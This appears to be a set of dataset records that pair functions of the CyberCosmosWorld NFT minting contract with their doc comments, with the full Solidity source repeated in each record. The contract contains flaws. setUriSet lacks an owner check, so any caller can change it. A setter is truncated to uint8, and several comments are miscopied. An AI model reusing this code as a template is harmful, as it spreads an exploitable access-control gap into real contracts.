_preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
_preSaleMintVipPl
function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); }
/* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 13202, 13795 ] }
14,186
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
_preSaleMintPl
function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); }
/* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 13927, 14498 ] }
14,187
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
_buyAndRefund
function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } }
/* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 14679, 15124 ] }
14,188
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
